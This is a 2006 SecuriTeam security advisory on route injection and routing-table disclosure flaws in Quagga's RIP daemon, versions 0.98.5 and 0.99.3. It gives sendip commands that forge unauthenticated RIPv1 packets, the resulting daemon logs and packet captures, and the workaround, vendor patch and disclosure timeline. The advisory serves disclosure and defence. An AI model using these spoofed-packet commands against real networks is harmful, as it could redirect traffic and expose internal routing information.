The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Quagga RIPD Multiple Route Injection Vulnerabilities
------------------------------------------------------------------------
SUMMARY
" <http://www.quagga.net/> Quagga is a routing software suite, providing
implementations of OSPFv2, OSPFv3, RIP v1 and v2, RIPv3 and BGPv4 for Unix
platforms, particularly FreeBSD, Linux, Solaris and NetBSD."
There are several route injection vulnerabilities in Quagga RIPD.
DETAILS
Vulnerable Systems:
* Quagga suite version 0.98.5
* Quagga suite version 0.99.3
Quagga RIPD unauthenticated route injection:
It is possible to inject a custom malicious route into the Quagga RIP
daemon using the RIPv1 RESPONSE packet even if the Quagga has been
configured to use MD5 authentication.
The prerequisite to the attack is the absence of the specific version of
the protocol in the router RIP configuration. This way, Quagga accepts
authenticated RIPv2 and also RIPv1 packets, that do not have
authentication mechanism at all.
Config file:
configuration of the ripd
key chain dmz
key 1
key-string secret
!
interface eth0
ip rip authentication mode md5 auth-length old-ripd
ip rip authentication key-chain dmz
!
router rip
redistribute static
network eth0
arhontus / # sendip -p ipv4 -is 192.168.69.102 -p udp -us 520 -ud 520 -p
rip -rv 1 -rc 2 -re 2:0:192.168.36.0:255.255.255.0:0.0.0.0:1
192.168.69.100
RIPD LOG
2006/05/02 16:06:45 RIP: RECV packet from 192.168.69.102 port 520 on eth0
2006/05/02 16:06:45 RIP: RECV RESPONSE version 1 packet size 24
2006/05/02 16:06:45 RIP: 192.168.36.0 family 2 tag 0 metric 1
2006/05/02 16:06:45 RIP: Resultant route 192.168.36.0
2006/05/02 16:06:45 RIP: Resultant mask 255.255.255.0
2006/05/02 16:06:45 RIP: triggered update!
RIPD unauthenticated route table broadcast:
Quagga would respond to RIP v1 request for SEND UPDATE and send out the
routing table updates, even if it has been configured to work with version
2 of the protocol only, using the following settings in the config file:
interface eth0
ip rip send version 2
ip rip receive version 2
!
router rip
version 2
Sending a request for update:
arhontus / # sendip -p ipv4 -is 192.168.66.102 -p udp -us 520 -ud 520 -p
rip -rv 1 -rc 1 -re 0:0:0:0:0:16 192.168.66.111
Catching response on the attacker host:
arhontus / # tcpdump -n -i eth0 port 520
22:10:02.532103 IP 192.168.66.102.520 > 192.168.66.111.520: RIPv1,
Request, length: 24
22:10:02.532474 IP 192.168.66.111.520 > 192.168.66.102.520: RIPv1,
Response, length: 64
Tethereal extract from the response RIP packet:
Routing Information Protocol
Command: Response (2)
Version: RIPv1 (1)
IP Address: 0.0.0.0, Metric: 1
Address Family: IP (2)
IP Address: 0.0.0.0 (0.0.0.0)
Metric: 1
IP Address: 192.168.50.24, Metric: 1
Address Family: IP (2)
IP Address: 192.168.50.24 (192.168.50.24)
Metric: 1
IP Address: 192.168.77.0, Metric: 1
Address Family: IP (2)
IP Address: 192.168.77.0 (192.168.77.0)
Metric: 1
The same situation is observed if Quagga has been configured to accept
packets with plaintext or md5 authentication only, using the following
options in the configuration:
interface eth0
ip rip authentication mode md5 auth-length old-ripd
ip rip authentication key-chain dmz_auth
The response packet contains the same information as in previous example.
This vulnerability can be exploited to extract the routing table
information from the router otherwise inaccessible due to strict control
of the multicast packets spread on the switch ports, or extremely large
interval set between updates.
Workaround:
Implement the patch for the ripd or firewall the access to the ripd daemon
on the need to access basis.
Vendor Status:
The vendor has issued a patch:
<http://bugzilla.quagga.net/attachment.cgi?id=84&action=view>
http://bugzilla.quagga.net/attachment.cgi?id=84&action=view
Vendor Response:
"Thanks for these reports. Quagga bug #262 has been opened for the issue
below, see: <http://bugzilla.quagga.net/show_bug.cgi?id=262>
http://bugzilla.quagga.net/show_bug.cgi?id=262
The former report is assigned as Quagga bug #261:
<http://bugzilla.quagga.net/show_bug.cgi?id=261>
http://bugzilla.quagga.net/show_bug.cgi?id=261
Comments are there regarding the scope of the information leak (the reply
is unicasted with default TTL).
Bug #262 has proposed patches attached to solve both issues.
It does not restrict the scope of unicasted RIPv1 replies. It is suggested
that users either disallow RIPv1 entirely or firewall RIP at network
boundaries if RIPv1 must be used.
Thanks very much for your reports and assistance."
Disclosure Timeline:
Issue discovered: 10/04/2006
quagga notified: 24/04/2006
Public disclosure: 03/05/2006
ADDITIONAL INFORMATION
The information has been provided by <mailto:mlists@arhont.com>
Konstantin V. Gavrilenko.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
